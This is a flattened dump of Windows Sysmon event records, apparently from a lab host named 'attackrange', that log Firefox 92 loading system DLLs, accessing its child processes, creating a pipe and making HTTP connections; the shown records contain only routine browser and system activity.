734700x800000000000000050230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msasn1.dll10.0.14393.0 (rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000050229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 734700x800000000000000050228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.028{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\mozglue.dll92.0-FirefoxMozilla Foundationmozglue.dllMD5=2AA3B81F30451FC8E5A23ED228B8C7D2,SHA256=BB33821ADE195D2C34C3528A148843767FFED9806BB19E19FBE01DEFF12A1DDD,IMPHASH=521A5A933B177363A2A0D8A6C3244738trueMozilla CorporationValid 734700x800000000000000050227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.028{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000050226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.028{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000050225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.028{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 10341000x800000000000000050224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.028{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x2200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+2fb50|C:\Program Files\Mozilla Firefox\xul.dll+e4cd19|C:\Program Files\Mozilla Firefox\xul.dll+e485b9|C:\Program Files\Mozilla Firefox\xul.dll+e3a3a2|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+272f91|C:\Program Files\Mozilla Firefox\xul.dll+37d64e|C:\Program Files\Mozilla Firefox\xul.dll+cf5ac6|C:\Program Files\Mozilla Firefox\xul.dll+175d1af|C:\Program Files\Mozilla Firefox\xul.dll+16f2f82|C:\Program Files\Mozilla Firefox\xul.dll+16c6344|C:\Program Files\Mozilla Firefox\xul.dll+1b549ca|C:\Program Files\Mozilla Firefox\xul.dll+16f342d 10341000x800000000000000050223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.028{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a462d8|C:\Program Files\Mozilla Firefox\xul.dll+a46044|C:\Program Files\Mozilla Firefox\xul.dll+ac028e|C:\Program Files\Mozilla Firefox\xul.dll+e3a352|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+272f91|C:\Program Files\Mozilla Firefox\xul.dll+37d64e|C:\Program Files\Mozilla Firefox\xul.dll+cf5ac6|C:\Program Files\Mozilla Firefox\xul.dll+175d1af|C:\Program Files\Mozilla Firefox\xul.dll+16f2f82|C:\Program Files\Mozilla Firefox\xul.dll+16c6344 734700x800000000000000050222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.028{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 10341000x800000000000000050221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.028{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+272f91|C:\Program Files\Mozilla Firefox\xul.dll+37d64e|C:\Program Files\Mozilla Firefox\xul.dll+cf5ac6|C:\Program Files\Mozilla Firefox\xul.dll+175d1af|C:\Program Files\Mozilla Firefox\xul.dll+16f2f82 10341000x800000000000000050220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+e3a04c|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+272f91|C:\Program Files\Mozilla Firefox\xul.dll+37d64e|C:\Program Files\Mozilla Firefox\xul.dll+cf5ac6|C:\Program Files\Mozilla Firefox\xul.dll+175d1af|C:\Program Files\Mozilla Firefox\xul.dll+16f2f82|C:\Program Files\Mozilla Firefox\xul.dll+16c6344|C:\Program Files\Mozilla Firefox\xul.dll+1b549ca 734700x800000000000000050219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.028{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000050218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+e3a041|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+272f91|C:\Program Files\Mozilla Firefox\xul.dll+37d64e|C:\Program Files\Mozilla Firefox\xul.dll+cf5ac6|C:\Program Files\Mozilla Firefox\xul.dll+175d1af|C:\Program Files\Mozilla Firefox\xul.dll+16f2f82|C:\Program Files\Mozilla Firefox\xul.dll+16c6344 10341000x800000000000000050217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+e39fc3|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+272f91|C:\Program Files\Mozilla Firefox\xul.dll+37d64e|C:\Program Files\Mozilla Firefox\xul.dll+cf5ac6|C:\Program Files\Mozilla Firefox\xul.dll+175d1af|C:\Program Files\Mozilla Firefox\xul.dll+16f2f82|C:\Program Files\Mozilla Firefox\xul.dll+16c6344|C:\Program Files\Mozilla Firefox\xul.dll+1b549ca|C:\Program Files\Mozilla Firefox\xul.dll+16f342d|C:\Program Files\Mozilla Firefox\xul.dll+16c6344 10341000x800000000000000050216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+c1485|C:\Program Files\Mozilla Firefox\xul.dll+e39c9a|C:\Program Files\Mozilla Firefox\xul.dll+e3960c|C:\Program Files\Mozilla Firefox\xul.dll+e3ba60|C:\Program Files\Mozilla Firefox\xul.dll+c6470f|C:\Program Files\Mozilla Firefox\xul.dll+c61917|C:\Program Files\Mozilla Firefox\xul.dll+2903c0|C:\Program Files\Mozilla Firefox\xul.dll+28ff41|C:\Program Files\Mozilla Firefox\xul.dll+f7f955|C:\Program Files\Mozilla Firefox\xul.dll+176b57f|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+c63f2f|C:\Program Files\Mozilla Firefox\xul.dll+272f91|C:\Program Files\Mozilla Firefox\xul.dll+37d64e|C:\Program Files\Mozilla Firefox\xul.dll+cf5ac6|C:\Program Files\Mozilla Firefox\xul.dll+175d1af|C:\Program Files\Mozilla Firefox\xul.dll+16f2f82|C:\Program Files\Mozilla Firefox\xul.dll+16c6344|C:\Program Files\Mozilla Firefox\xul.dll+1b549ca|C:\Program Files\Mozilla Firefox\xul.dll+16f342d 734700x800000000000000050215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000050214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000050213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000050212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\firefox.exe92.0FirefoxFirefoxMozilla Corporationfirefox.exeMD5=1FD44F5F8D3DBF02BF76AAAE6AB44D8A,SHA256=A20DDE702CCC7B83A9D8017BBF45738E22EF45E2F2511570E2415BE85F01A4C5,IMPHASH=AECE7B7E776840D7A7255A31B309B7E4trueMozilla CorporationValid 10341000x800000000000000050211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-728D-613B-560B-00000000F001}47766152C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x101451C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+a0040f|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+16620b4|C:\Program Files\Mozilla Firefox\xul.dll+19c2585|C:\Program Files\Mozilla Firefox\xul.dll+13ca5|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+13388|C:\Program Files\Mozilla Firefox\xul.dll+9e92c1|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000050205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.012{7BD73061-728D-613B-560B-00000000F001}47766696C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\ADVAPI32.dll+188af|C:\Program Files\Mozilla Firefox\firefox.exe+2f04d|C:\Program Files\Mozilla Firefox\firefox.exe+2e255|C:\Program Files\Mozilla Firefox\xul.dll+1fc619a|C:\Program Files\Mozilla Firefox\xul.dll+9fbdfa|C:\Program Files\Mozilla Firefox\xul.dll+9f9fc5|C:\Program Files\Mozilla Firefox\xul.dll+a0123e|C:\Program Files\Mozilla Firefox\xul.dll+8ab830|C:\Program Files\Mozilla Firefox\xul.dll+166f6b9|C:\Program Files\Mozilla Firefox\xul.dll+26d8a|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+8ae017|C:\Program Files\Mozilla Firefox\nss3.dll+77cbd|C:\Program Files\Mozilla Firefox\nss3.dll+8ec81|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000050204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.017{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe92.0FirefoxFirefoxMozilla Corporationfirefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4776.1.271402964\652546498" -childID 1 -isForBrowser -prefsHandle 2116 -prefMapHandle 2112 -prefsLen 258 -prefMapSize 244110 -jsInit 1192 285716 -parentBuildID 20210903235534 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4776 "\\.\pipe\gecko-crash-server-pipe.4776" 2128 23852f9b538 tabC:\Program Files\Mozilla Firefox\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082LowMD5=1FD44F5F8D3DBF02BF76AAAE6AB44D8A,SHA256=A20DDE702CCC7B83A9D8017BBF45738E22EF45E2F2511570E2415BE85F01A4C5,IMPHASH=AECE7B7E776840D7A7255A31B309B7E4{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" 17141700x800000000000000050203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:58:23.997{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.1.27140296C:\Program Files\Mozilla Firefox\firefox.exe 23542300x800000000000000016339Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:25.626{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=72A726D25EDEA2DD1AC9D0992AED145F,SHA256=5FB143CDB8D4C1AB9BA5872C103B0D19B2D36D751FFDAAC0A49389C8E1381523,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000050768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.053{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59523-false2.22.117.227a2-22-117-227.deploy.static.akamaitechnologies.com80http 354300x800000000000000050767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.032{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla 